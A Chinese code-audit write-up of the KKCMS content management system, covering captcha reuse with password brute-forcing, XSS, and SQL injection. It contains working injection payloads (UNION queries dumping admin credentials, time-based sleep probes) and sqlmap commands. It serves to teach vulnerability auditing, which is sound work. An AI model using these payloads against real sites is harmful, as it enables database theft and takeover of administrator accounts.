红队蓝军
红队蓝军

记一次较为详细的某CMS代码审计

前言

本次审计的话是Seay+昆仑镜进行漏洞扫描 

Seay的话它可以很方便的查看各个文件，而昆仑镜可以很快且扫出更多的漏洞点，将这两者进行结合起来，就可以发挥更好的效果。

昆仑镜官方地址

https://github.com/LoRexxar/Kunlun-M

环境

KKCMS环境搭建

KKCMS链接如下

https://github.com/liumengxiang/kkcms

安装的话正常步骤就好，即

1、解压至phpstudy目录下
2、访问install
3、新建kkcms数据库，然后在安装的时候用这个数据库
4、安装完成，开始审计

目录结构

记一次较为详细的某CMS代码审计_第1张图片

常见的目录结构，简单了解一下其作用

admin 后台管理目录
css CSS样式表目录
data 系统处理数据相关目录
install 网页安装目录
images 系统图片存放目录
template 模板
system  管理目录

代码审计

记一次较为详细的某CMS代码审计_第2张图片

对扫描出的开始进行审计

验证码重用

admin/cms_login.php

源码如下

验证码的校验代码

  if ($_SESSION['verifycode'] != $_POST['verifycode']) {
        alert_href('验证码错误','cms_login.php');
    }

不难发现这里是将$_SESSION['verifycode']与POST上传的verifycode相比较,如果不相等就会刷新跳转，重新回到登录处，此时验证码也会被更新。我们进入前端界面看一下

记一次较为详细的某CMS代码审计_第3张图片

发现验证码js对应处存在文件，跟进查看一下

该文件的含义是用0-9中的任意四个数字作为验证码，也就是说js引用该文件来产生验证码。这里学习过其他师傅的思路后，了解到

Burpsuite默认不解析js

因此我们这里就可以借助bp抓包，摒弃js，对用户名和密码进行爆破 

抓包后发送到instruct模块，在密码处添加变量

记一次较为详细的某CMS代码审计_第4张图片

而后添加一些常用的弱口令密码

记一次较为详细的某CMS代码审计_第5张图片

开始爆破

记一次较为详细的某CMS代码审计_第6张图片

成功爆破出密码

XSS

wap/shang.php

使用昆仑镜进行扫描，得到结果

图片

结合Seay，查看该文件代码

记一次较为详细的某CMS代码审计_第7张图片

可以看到直接输出了$_GET['fee']，因此我们这里直接传入一个xss语句尝试触发xss payload

fee=

记一次较为详细的某CMS代码审计_第8张图片

wap/seacher.php

昆仑镜扫描

图片

利用seay查看源码

//这只是一部分，具体的师傅们可自行查看此文件




搜索<?php echo $q?>-<?php echo $xtcms_seoname;?>
,">
">

可以发现这里这个变量$q直接被输出了，这个$q是POST上传的wd参数，因此我们这里POST上传wd参数，给它赋值一个xss语句的话，应该是可以进行XSS的，我们试着去构造一下

wp=

记一次较为详细的某CMS代码审计_第9张图片

成功触发XSS

wap/movie.php

//部分源码



$b=(strpos($_GET['m'],'rank='));
$ye=substr($_GET['m'],$b+5);
?>
 href="?m=/dianying/list.php?rank=rankhot">最近热映 
 href="?m=/dianying/list.php?rank=createtime">最新上映        
 href="?m=/dianying/list.php?rank=rankpoint">最受好评

存在可控参数$_GET['m']和$_GET['page']，开头引用了inc.php，试着找一下输出语句。发现输出语句

发现被函数getPageHtml包裹了，跟进查看

function getPageHtml($_var_60, $_var_61, $_var_62)
{
 $_var_63 = 5;
 $_var_60 = $_var_60 < 1 ? 1 : $_var_60;
 $_var_60 = $_var_60 > $_var_61 ? $_var_61 : $_var_60;
 $_var_61 = $_var_61 < $_var_60 ? $_var_60 : $_var_61;
 $_var_64 = $_var_60 - floor($_var_63 / 2);
 $_var_64 = $_var_64 < 1 ? 1 : $_var_64;
 $_var_65 = $_var_60 + floor($_var_63 / 2);
 $_var_65 = $_var_65 > $_var_61 ? $_var_61 : $_var_65;
 $_var_66 = $_var_65 - $_var_64 + 1;
 if ($_var_66 < $_var_63 && $_var_64 > 1) {
  $_var_64 = $_var_64 - ($_var_63 - $_var_66);
  $_var_64 = $_var_64 < 1 ? 1 : $_var_64;
  $_var_66 = $_var_65 - $_var_64 + 1;
 }
 if ($_var_66 < $_var_63 && $_var_65 < $_var_61) {
  $_var_65 = $_var_65 + ($_var_63 - $_var_66);
  $_var_65 = $_var_65 > $_var_61 ? $_var_61 : $_var_65;
 }
 if ($_var_60 > 1) {
  $_var_67 .= '
  • 上一页
    • ';
 }
 for ($_var_68 = $_var_64; $_var_68 <= $_var_65; $_var_68++) {
  if ($_var_68 == $_var_60) {
   $_var_67 .= '
  • ' . $_var_68 . '
    • ';
  } else {
   $_var_67 .= '
  • ' . $_var_68 . '
    • ';
  }
 }
 if ($_var_60 < $_var_65) {
  $_var_67 .= '
  • 下一页
    • ';
 }
 return $_var_67;
}

    跟进查看后也没有发现输出点，结果网页端js代码再看看 传参

    http://127.0.0.1:8080/kkcms-kkcms/wap/movie.php?m=111

    查看源代码，Ctrl+f搜?m=111查找对应js代码

    记一次较为详细的某CMS代码审计_第10张图片

    找到js代码

  • 4
  • 5
  • 下一页
    •

    尝试直接闭合a标签执行xss语句，构造payload如下

    ?m=">

    记一次较为详细的某CMS代码审计_第11张图片

    成功触发xss 

    同类XSS文件如下

    wap/tv.php
其对应输出代码如下


wap/zongyi.php
其对应输出代码如下


wap/dongman.php
其对应输出代码如下

    system/pcon.php(失败)

    图片

    发现这里有个echo 变量的，利用Seay跟进一下这个文件

    


0){
$tiaourl=$cc.$_GET['play'];
  }
else{
$tiaourl=$dd.$_GET['play']; 
  }
}
}
?>
uaredirect("wap/");

    此时发现可控变量play，如果让他变为xss恶意语句，就可能会实现xss，但我们这个时候看一下最上面，发现有一个if语句

    if ($xtcms_pc==1){

    它这个条件为true后执行的语句，不仔细看的话甚至都找不到结尾处在哪，经过仔细查看后发现在最后

    记一次较为详细的某CMS代码审计_第12张图片

    这里的话也就是说，我们只有满足了$xtcms_pc==1这个条件，才能够成功的往下执行，进而利用play参数构造xss语句，因此我们此时就需要跟进这个$xtcms_pc变量，全局搜索一下

    记一次较为详细的某CMS代码审计_第13张图片

    发现变量赋值点，跟进查看

    记一次较为详细的某CMS代码审计_第14张图片

    简单看一下这里的代码，发现这个结果是从SQL查询处的结果取出的，而SQL语句不存在变量，因此这里的话我们是不可控的，所以这里的话应该是不存在XSS的，G

    admin/cms_ad.php

    登录后台后发现有个广告管理界面

    记一次较为详细的某CMS代码审计_第15张图片

    发现这里可以设置名称和广告内容，尝试在名称处插入xss语句

    记一次较为详细的某CMS代码审计_第16张图片

    发现此时成功触发了xss语句，那么这里的话应该是直接将广告名称进行了输出，我们查看后端代码，验证一下

    





名称

请输入广告名称
    内容 请输入广告的内容<a href="网址" target="_blank"><img src="图片地址" style="width:100%"></a>
    广告位置 ">

    后端名称处代码为

    可以发现这里只是限制了长度为60，其他没有什么限制，输出广告内容的代码是

    $result = mysql_query('select * from xtcms_ad order by id desc');
while($row = mysql_fetch_array($result)){
?>

    这里的话是取出结果，然后将结果赋值给$row，最后输出了$row['id']和$row['name']，正如同所说的一样，不存在过滤点，因而导致了XSS的出现 

    而你此时大概看一下代码的话，它的内容也是如此，内容是在加载页面的时候出现的，这个时候我们可以用img来构造一个xss恶意语句

    记一次较为详细的某CMS代码审计_第17张图片

    此时随便访问首页的一个视频

    记一次较为详细的某CMS代码审计_第18张图片

    成功触发XSS

    youlian.php

    设置了addslashes函数防止SQL注入，但并未防止XSS，我们构造payload如下

    xss

    记一次较为详细的某CMS代码审计_第19张图片

    后端查看就会发现

    记一次较为详细的某CMS代码审计_第20张图片

    XSS被触发

    admin/cms_kamilist.php

    //部分源码



使用情况
已使用 未使用      

"/>

">导出

    关注

     value=""

    发现这里参数id没有什么防护，虽然开头涉及了inc.php，但那个是防护SQL注入的，不影响xss。我们这里如果能够闭合语句的话，似乎就可以触发XSS了。payload

    id=">
//此时的语句就是 value=" ?>"

    结果如下

    记一次较为详细的某CMS代码审计_第21张图片

    wx_api.php

    class wechatCallbackapiTest
{
 public function valid()
    {
        $echoStr = $_GET["echostr"];
        if($this->checkSignature()){
         echo $echoStr;
         exit;
        }
    }

    可以发现这里的参$_GET['echostr']不存在防护，在传入后经过一个if语句直接进行了输出，我们跟进一下这个if语句了的checkSignature函数查看一下

     private function checkSignature()
 {
        // you must define TOKEN by yourself
        if (!defined("TOKEN")) {
            throw new Exception('TOKEN is not defined!');
        }
        
        $signature = $_GET["signature"];
        $timestamp = $_GET["timestamp"];
        $nonce = $_GET["nonce"];
          
  $token = TOKEN;
  $tmpArr = array($token, $timestamp, $nonce);
        // use SORT_STRING rule
  sort($tmpArr, SORT_STRING);
  $tmpStr = implode( $tmpArr );
  $tmpStr = sha1( $tmpStr );
  
  if( $tmpStr == $signature ){
   return true;
  }else{
   return false;
  }
 }

    发现这里大概是个检验token的，传个空对应的md5值应该就可以，尝试xss payload

    ?echostr=&signature=da39a3ee5e6b4b0d3255bfef95601890afd80709

    记一次较为详细的某CMS代码审计_第22张图片

    SQL

    bplay.php

    0){
if(!isset($_SESSION['user_name'])){
  alert_href('请注册会员登录后观看',''.$xtcms_domain.'ucenter');
 };
    $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查询会员积分
     if($row = mysql_fetch_array($result)){
  $u_group=$row['u_group'];//到期时间
     }
 if($u_group<=1){//如果会员组
 alert_href('对不起,您不能观看会员视频，请升级会员！',''.$xtcms_domain.'ucenter/mingxi.php');
 } 
}
include('system/shoufei.php');
if($d_jifen>0){//积分大于0,普通会员收费
 if(!isset($_SESSION['user_name'])){
  alert_href('请注册会员登录后观看',''.$xtcms_domain.'ucenter');
 };
    $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查询会员积分
     if($row = mysql_fetch_array($result)){
     $u_points=$row['u_points'];//会员积分
     $u_plays=$row['u_plays'];//会员观看记录
     $u_end=$row['u_end'];//到期时间
  $u_group=$row['u_group'];//到期时间
     } 

      if($u_group<=1){//如果会员组
     if($d_jifen>$u_points){
  alert_href('对不起,您的积分不够，无法观看收费数据，请推荐本站给您的好友、赚取更多积分',''.$xtcms_domain.'ucenter/yaoqing.php');
    }  else{

    if (strpos(",".$u_plays,$d_id) > 0){ 

 } 
 //有观看记录不扣点
else{

   $uplays = ",".$u_plays.$d_id;
   $uplays = str_replace(",,",",",$uplays);
   $_data['u_points'] =$u_points-$d_jifen;
   $_data['u_plays'] =$uplays;
   $sql = 'update xtcms_user set '.arrtoupdate($_data).' where u_name="'.$_SESSION['user_name'].'"';
if (mysql_query($sql)) {

alert_href('您成功支付'.$d_jifen.'积分,请重新打开视频观看!',''.$xtcms_domain.'bplay.php?play='.$d_id.'');
}
}
 
}
}
}
if($d_user>0){ 
if(!isset($_SESSION['user_name'])){
  alert_href('请注册会员登录后观看',''.$xtcms_domain.'ucenter');
 };
    $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查询会员积分
     if($row = mysql_fetch_array($result)){
     $u_points=$row['u_points'];//会员积分
     $u_plays=$row['u_plays'];//会员观看记录
     $u_end=$row['u_end'];//到期时间
  $u_group=$row['u_group'];//到期时间
     }   
if($u_group<$d_user){
 alert_href('您的会员组不支持观看此视频!',''.$xtcms_domain.'ucenter/mingxi.php');
}
}
function get_play($t0){
 $result = mysql_query('select * from xtcms_player where id ='.$t0.'');
 if (!!$row = mysql_fetch_array($result)){
return $row['n_url'];
 }else{
  return $t0;
 };
}
$result = mysql_query('select * from xtcms_vod where d_id ='.$d_id.'');
 if (!!$row = mysql_fetch_array($result)){
$d_scontent=explode("\r\n",$row['d_scontent']);
//print_r($d_scontent);
for($i=0;$i

    这里的话可以看出主要的SQL语句是这句话

    $result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['play'].' ');

    然后这个play参数是GET传参的，同时看这里的代码可以看出它是没有单引号或者双引号包裹的，此时我们跟进一下include的文件,也就是system/inc.php，查看一下这个文件

    记一次较为详细的某CMS代码审计_第23张图片

    跟进这个library.php

    可以发现这里的话对传入的参数都进行了特殊字符转义，防止SQL注入 

    但事实上我们那个参数未被单引号或者双引号包裹，这也就意味着这里的防护其实是无意义的，因此我们这里的话我们也就可以尝试去进行SQL注入 

    首先我们试着去检测一下字段数，payload如下所示

    play=1 order by 17  //回显正常
play=1 order by 18  //回显错误

    记一次较为详细的某CMS代码审计_第24张图片

    记一次较为详细的某CMS代码审计_第25张图片

    这里的话也就可以发现字段数为17了，接下来就可以进去联合查询了，首先我们需要去找一下回显位

    play=-1 union select 1,2,3,0,0,6,7,8,9,10,11,12,13,14,15,16,17

    记一次较为详细的某CMS代码审计_第26张图片

    可以发现回显位是2和9，我们这个时候就可以去读取数据库、数据表这些了，payload如下

    //查库
play=-1 union select 1,2,3,0,0,6,7,8,database(),10,11,12,13,14,15,16, 17
//查表
play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(table_name) from information_schema.tables where table_schema=database()),10,11,12,13,14,15,16, 17
//查列
play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(column_name) from information_schema.columns where table_name=0x626565735f61646d696e),10,11,12,13,14,15,16, 17//之所以用十六进制是因为这里的单引号会被转义
//查字段
play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(admin_name,0x7e,admin_password) from bees_admin),10,11,12,13,14,15,16, 17

    记一次较为详细的某CMS代码审计_第27张图片

    记一次较为详细的某CMS代码审计_第28张图片

    记一次较为详细的某CMS代码审计_第29张图片

    wap/user.php（失败）

    图片

    结合Seay

    $userid){ 
alert_href('您现在所属会员组的权限制大于等于目标会员组权限值，不需要升级!','mingxi.php');
}

    看这一处代码

    $card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');

    不难发现这里的Select语句中的参数被双引号包裹了，而开头包含了inc.php文件，之前就已经查看过，这个文件包含了四个文件，其中一个文件中有addslashes_deep函数，对传入的参数中的特殊字符(如',",\)进行了转义，因此我们这里的话无法通过闭合双引号达到SQL注入的目的，同文件的其他SQL注入处也是如此，这里不再展示

    wap/login.php

    图片

    扫出login.php中存在多个可控变量，我们使用Seay来看一下具体代码

    //展示的仅为一部分
$u_end){
 $_data['u_flag'] =="0";
 $_data['u_start'] =="";
 $_data['u_end'] =="";
 $_data['u_group'] =1;
 }else{
 $_data['u_flag'] ==$row["u_flag"];
 $_data['u_start'] ==$row["u_start"];
 $_data['u_end'] ==$row["u_end"];
 $_data['u_group'] =$row["u_group"];
 }
 mysql_query('update xtcms_user set '.arrtoupdate($_data).' where u_id ="'.$row['u_id'].'"');
 $_SESSION['user_name']=$row['u_name'];
 $_SESSION['user_group']=$row['u_group'];
 if($_POST['brand1']){ 
setcookie('user_name',$row['u_name'],time()+3600 * 24 * 365); 
setcookie('user_password',$row['u_password'],time()+3600 * 24 * 365); 
} 
  header('location:user.php');
 }else{
  alert_href('用户名或密码错误或者尚未激活','login.php?op=login');
 }
}
if(isset($_POST['reg'])){
$username = stripslashes(trim($_POST['name']));
// 检测用户名是否存在
$query = mysql_query("select u_id from xtcms_user where u_name='$username'");
if(mysql_fetch_array($query)){
echo '';
exit;
}
$result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
if(mysql_fetch_array($result)){
echo '';
exit;
}
$password = md5(trim($_POST['password']));
$email = trim($_POST['email']);
$regtime = time();
$token = md5($username.$password.$regtime); //创建用于激活识别码
$token_exptime = time()+60*60*24;//过期时间为24小时后
$data['u_name'] = $username;
$data['u_password'] =$password;
$data['u_email'] = $email;
$data['u_regtime'] =$regtime;
if($xtcms_mail==1){
$data['u_status'] =0;
 }else{
$data['u_status'] =1;
 }
$data['u_group'] =1;
$data['u_fav'] =0;
$data['u_plays'] =0;
$data['u_downs'] =0;
//推广注册
if (isset($_GET['tg'])) {
 $data['u_qid'] =$_GET['tg'];
 $result = mysql_query('select * from xtcms_user where u_id="'.$_GET['tg'].'"');
if($row = mysql_fetch_array($result)){

$u_points=$row['u_points'];
}

    不难发现这里的SELECT语句有以下几个

    $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
$query = mysql_query("select u_id from xtcms_user where u_name='$username'");
$result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
$result = mysql_query('select * from xtcms_user where u_id="'.$_GET['tg'].'"');

    但文件开头就声明包含了inc.php文件，说明这里的话包含了过滤函数，也就是对SQL注入是有防护的，对'、"以及\都进行了转义，因此这里如果参数是被单引号或者双引号包裹的话，那么这里极有可能算是G了，我们看第一个，也就是

    $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';

    它这个不难发现，$u_name和$u_password都被双引号包裹了，因此这里就不存在SQL注入了。但是看一下第二个，第二个的username参数虽然是被双引号进行包裹了，但你会发现这个参数的传值方式是$username = stripslashes(trim($_POST['name']));，这个stripslashes的功能是消除由addslashes函数增加的反斜杠，一个增加一个消除，那这里不就跟没有设置过滤一样吗，因此这个name参数是存在SQL注入的，我们通过BurpSuite进行抓包

    记一次较为详细的某CMS代码审计_第30张图片

    然后将内容复制到一个txt文件中

    记一次较为详细的某CMS代码审计_第31张图片

    我这里保存在sqlmap目录下

    记一次较为详细的某CMS代码审计_第32张图片

    而后打开sqlmap，输入如下payload即可

    python sqlmap.py "D:/sqlmap/2.txt" --dbs --batch

    记一次较为详细的某CMS代码审计_第33张图片

    可以看到存在延时注入，成功爆破出数据库

    vlist.php

    在这个界面，用单引号测试一下发现跟正常界面有所不同

    记一次较为详细的某CMS代码审计_第34张图片

    看一下后端代码

    
      
             '.$row['c_name'].'';
  }
?>

    这里简单看一下的话，不难发现这里的参数cid是不存在任何防护的，即没有被单引号或者双引号包裹，因此这里开头引用的inc.php虽然对SQL注入进行了防护，但在这里其实是没有意义的，用SQLmap跑一下

    python sqlmap.py -u http://127.0.0.1:8080/kkcms-kkcms/vlist.php?cid=1 --dbs --batch

    记一次较为详细的某CMS代码审计_第35张图片

    后端文件

    记一次较为详细的某CMS代码审计_第36张图片

    扫出多个后端文件存在SQL注入，接下来逐一进行检测

    admin/cms_admin_edit.php

    源码如下

    //部分代码

    这里的话重点关注肯定是SQL语句，也就是这句话

    $result = mysql_query('select * from xtcms_manager where m_id = '.$_GET['id'].'');

    发现id是无引号包裹的，这意味着这里是存在SQL注入的，我们去验证一下

    id=1 

    记一次较为详细的某CMS代码审计_第37张图片

    id=1 and sleep(5)

    记一次较为详细的某CMS代码审计_第38张图片

    发现两者回显时间不同，说明存在SQL注入，具体为时间盲注，这里就可以编写Python脚本来爆破数据库信息，也可以通过SQLmap，这里不再展示

    admin/cms_login.php

    这里的话就是发现这个可控参数都被双引号包裹了，然后文件开头包含了inc.php，意味着存在对SQL注入的防护，因此这里的话是无法实现SQL注入的，转战下一处。

    admin/cms_user_edit.php

    //部分代码

    一眼顶真，无包裹方式，存在SQL注入

    id = 16 and sleep(5)

    记一次较为详细的某CMS代码审计_第39张图片

    具体不再演示，此类的我将其列在一起，具体如下所示

     admin/cms_nav_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_nav where id = '.$_GET['id'].'');
 
 admin/cms_detail_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['id'].'');
 
 admin/cms_channel_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_vod_class where c_id = '.$_GET['id']);
 
 admin/cms_check_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_book where id = '.$_GET['id'].'');
 
 admin/cms_player_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_player where id = '.$_GET['id'].'');
 
 admin/cms_slideshow_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_slideshow where id = '.$_GET['id'].' ');
 
 admin/cms_ad_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_ad where id = '.$_GET['id'].' ');
 
 admin/cms_link_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_link where l_id = '.$_GET['l_id'].'');
 
 admin/cms_usercard_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_userka where id = '.$_GET['id'].'');
 
 admin/cms_youlian_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_youlian where id = '.$_GET['id'].'');

    admin/cms_user.php

    
if (isset($_GET['key'])) {
$sql = 'select * from xtcms_user where u_name like "%'.$_GET['key'].'%" order by u_id desc';
$pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
$result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
}

    这里的话参数是在like处，这里的话经过本地测试及查找资料并未发现此处可以进行SQL注入，通过SQLmap扫描也无果，各位大师傅如果有思路的话还请指点一二

    admin/cms_detail.php

    if (isset($_GET['cid'])) {
 if ($_GET['cid'] != 0){
  $sql = 'select * from xtcms_vod where d_parent in ('.$_GET['cid'].') order by d_id desc';
  $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
  $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
 }else{
  $sql = 'select * from xtcms_vod order by d_id desc';
  $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
  $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
  }
}

    这里的话关注这里

    $sql = 'select * from xtcms_vod where d_parent in ('.$_GET['cid'].') order by d_id desc';

    这个cid参数是被括号包裹的，这里我们可以尝试通过使用这种payload来进行闭合语句从而进行SQL注入

    cid=1) and sleep(1) --+
//此时语句$sql = 'select * from xtcms_vod where d_parent in (1) and sleep(5)

    记一次较为详细的某CMS代码审计_第40张图片

    记一次较为详细的某CMS代码审计_第41张图片

    根据回显时间可以看出此处是存在SQL注入的

    admin/cms_kamilist.php

    
if (isset($_GET['c_used'])) {
 $sql = 'select * from xtcms_user_card where c_used="'.$_GET['c_used'].'" order by c_id desc';
 $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
 $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
}

    这里的话可以看出参数被双引号包裹了，开头包含了SQL防护文件，涉及了addslashes()函数，所以这里自认为是不存在SQL注入的，找下一处。

    ucenter/index.php

    //部分

    这里的话可以看见参数是SESSION传参，不同于之前的GET和POST，而且这里还有双引号包裹，因此这里不存在SQL注入，下一处 

    类似这种的还有

    ucenter/kami.php
其SQL语句如下
$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');

ucenter/chongzhi.php
其SQL语句如下
$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');

ucenter/mingxi.php
其SQL语句如下
$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');

    ucenter/cms_user_add.php

    源码为

    双引号包裹，且包含了过滤函数，因此SQL注入不存在，误报，类似这种的还有

    ucenter/return_url.php
其SQL语句如下
$order = mysql_query('select * from xtcms_user_pay where p_order="'.$out_trade_no.'"');

ucenter/password.php
其SQL语句如下
$sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';

ucenter/reg.php
其SQL语句如下
$result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');

ucenter/login.php
其SQL语句如下
$sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';

ucenter/mingxi.php
其SQL语句如下
$card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');

    ucenter/repass.php

    源码为

    这里的话我们看到参数name

    $username = stripslashes(trim($_POST['name']));

    这里引用了stripslashes函数，而文件开头又包含inc.php，这个文件里包含了addslashes函数，当我们参数出现单引号这种特殊字符时，addslashes会加上反引号，而stripslashes会清除addslashes函数加上的反引号，这个时候就相当于没有防护一样，所以显而易见这里是存在SQL注入的，我们可以使用bp抓包保存后，再利用sqlmap来得到数据库信息，具体payload

    python sqlmap.py -r "D:\sqlmap\3.txt" -p name --dbs

    但很怪，我自己的没有跑出来数据

    图片

    而我参考其他师傅的文章后发现他们的可以跑出来。

    payload如下

    name=1' AND (SELECT 3775 FROM (SELECT(SLEEP(5)))OXGU) AND 'XUOn'='[email protected]&password=111&submit=

    记一次较为详细的某CMS代码审计_第42张图片

    类似这种的还有

    ucenter/active.php
其SQL语句如下
$verify = stripslashes(trim($_GET['verify']));
$nowtime = time();
$query = mysql_query("select u_id from xtcms_user where u_question='$verify'");

ucenter/reg.php
其内SQL语句如下
if(isset($_POST['submit'])){
$username = stripslashes(trim($_POST['name']));
$query = mysql_query("select u_id from xtcms_user where u_name='$username'");

    总结

    本次CMS审计花费了很多时间,一方面因为漏洞点有点多，另一方面也是初学代码审计，不太擅长，经过此次审计后对SQL注入和XSS漏洞有了进一步的了解，也学到了新的思路和知识。也希望此文章能对在学习代码审计的师傅有一些帮助。

    参考文献

    https://xz.aliyun.com/t/7711

    https://xz.aliyun.com/t/11322#toc-2

    你可能感兴趣的:(学习,网络安全,安全,web安全)

    • x86-64汇编语言训练程序与实战 十除以十等于一
      本文还有配套的精品资源，点击获取简介：汇编语言是一种低级语言，与机器代码紧密相关，特别适用于编写系统级代码及性能要求高的应用。nasm编译器是针对x86和x86-64架构的汇编语言编译器，支持多种语法风格和指令集。项目Euler提供数学和计算机科学问题，鼓励编程技巧应用，前100个问题的答案可共享。x86-64架构扩展了寄存器数量并引入新指令，提升了数据处理效率。学习汇编语言能够深入理解计算机底层
    • 三菱PLC全套学习资料及应用手册 good2know
      本文还有配套的精品资源，点击获取简介：三菱PLC作为工业自动化领域的核心设备，其系列产品的学习和应用需要全面深入的知识。本次资料包为学习者提供从基础到进阶的全方位学习资源，包括各种型号PLC的操作手册、编程指南、软件操作教程以及实际案例分析，旨在帮助用户系统掌握PLC的编程语言、指令系统及在各类工业应用中的实施。1.三菱PLC基础知识入门1.1PLC的基本概念可编程逻辑控制器（PLC）是工业自动化
    • 日更006 终极训练营day3 懒cici
      人生创业课（2）今天的主题：学习方法一：遇到有用的书，反复读，然后结合自身实际，列践行清单，不要再写读书笔记思考这本书与我有什么关系，我在哪些地方能用到，之后我该怎么用方法二：读完书没映像怎么办?训练你的大脑，方法：每读完一遍书，立马合上书，做一场分享，几分钟都行对自己的学习要求太低，要逼自己方法三：学习深度不够怎么办？找到细分领域的榜样，把他们的文章、书籍、产品都体验一遍，成为他们的超级用户，向
    • day15｜前端框架学习和算法 universe_01 前端算法笔记
      T22括号生成先把所有情况都画出来，然后（在满足什么情况下）把不符合条件的删除。T78子集要画树状图，把思路清晰。可以用暴力法、回溯法和DFS做这个题DFS深度搜索：每个边都走完，再回溯应用：二叉树搜索，图搜索回溯算法=DFS+剪枝T200岛屿数量（非常经典BFS宽度把树状转化成队列形式，lambda匿名函数“一次性的小函数，没有名字”setup语法糖：让代码更简洁好写的语法ref创建：基本类型的
    • 《极简思维》第三部分 小洋苏兮
      整理你的人际关系如何改善人际关系？摘录：因为人际关系问题是人们生活中不快乐的主要原因。感想：感觉这个说的挺对，之前我总是埋头学习，不管舍友不管自己的合作伙伴的一些事情，但实际上，这学期关注了之后好多了摘录：“亲密关系与社交会让你健康而快乐。这是基础。太过于关注成就或不太关心人际关系的人都不怎么快乐。基本上来说，人类就是建立在人脉关系上的。”感想：但是如果有时想的太多就不太好，要以一个开放的心态跟别
    • 我不懂什么是爱，但我给你全部我拥有的 香尧
      因为怕黑，所以愿意陪伴在夜中行走的人，给他一点点的安全感。因为渴望温柔与爱，所以愿意为别的孩子付出爱与温柔。因为曾遭受侮辱和伤害，所以不以同样的方式施于其他人。如果你向别人出之以利刃，对方还了你爱与包容，真的不要感激他，真的不要赞美他。每一个被人伤害过的人心里都留下了一颗仇恨的种子，他也会想要有一天以眼还眼，以牙还牙。但他未让那颗种子生根发芽，他用一把心剑又一次刺向他自己，用他血荐仇恨，开出一朵温
    • 你要记住，最重要的是:随时做好准备，为了你可能成为更好的自己，放弃现在的自己。 霖霖z
      打卡人:周云日期:2018年11月09日【日精进打卡第180天】【知～学习】《六项精进》0遍共214遍《通篇》1遍共106遍《大学》2遍共347遍《坚强工作，温柔生活》ok《不抱怨的世界》104-108页《经典名句》你要记住，最重要的是:随时做好准备，为了你可能成为更好的自己，放弃现在的自己。【行～实践】一、修身：（对自己个人）1、坚持打卡二、齐家：（对家庭和家人）打扫卫生，接送孩子，洗衣做饭，陪
    • 贫穷家庭的孩子考上985以后会怎样？ Mellisa蜜思言
      我出生在一个贫穷的农村家庭，据我妈说，我出生的时候才4斤多，而她生完我以后月子里就瘦到70斤。家里一直很穷，父母都是在菜市场卖菜的，家里还有几亩地种庄稼的。我很小开始就要去帮忙，暑假的生活就是帮忙去卖菜和割稻谷，那时候自己对于割稻谷这种事情有着莫名的恐惧，生怕自己长大以后还是每年都要过着割稻谷这种日子。父母因为忙于生计无暇顾及我的学习，幸好我因为看到他们这样子的生活，内心里有深深的恐惧感，驱使着我
    • 深入解析JVM工作原理：从字节码到机器指令的全过程
      一、JVM概述Java虚拟机(JVM)是Java平台的核心组件，它实现了Java"一次编写，到处运行"的理念。JVM是一个抽象的计算机器，它有自己的指令集和运行时内存管理机制。JVM的主要职责：加载：读取.class文件并验证其正确性存储：管理内存分配和垃圾回收执行：解释或编译字节码为机器指令安全：提供沙箱环境限制恶意代码二、JVM架构详解JVM由三个主要子系统组成：1.类加载子系统类加载过程分为
    • 2019-06-05 第十七把巴鲁克
      今天去实验田里实习，见到了福寿螺真的可怕且牛皮，六级也快来了，说实话还是害怕。我昨天考了环工原理，真的太难了，太烦了，理工科真的难，烦。实验报告还是没写，要抓紧速度抓紧时间，还是应该学会努力学习，远离一些不上进的事物。
    • 叮嘱!北恒高级班周一丰创投杯量化私募大赛不正规！受骗不能提现出金被骗真相曝光！ 天权顾问
      量化北恒私募实盘大赛周一丰投票项目安全吗?量化北恒私募实盘大赛周一丰积分投票已经亏损被骗了怎么办？警惕!量化北恒私募实盘大赛周一丰十选五项目合法吗——杀猪盘骗局！被骗提不了款!提不了现!出不来金!不要上当!自古有句话讲得好“人善被欺、马善被骑”，现如今也是被骗子利用到了极致，人善就真该被欺骗吗？狡猾的骗子们就利用到了这点，利用同情心、爱心去进行诈骗，宣传公益捐款、爱心慈善打比赛来骗取资金！正常的投
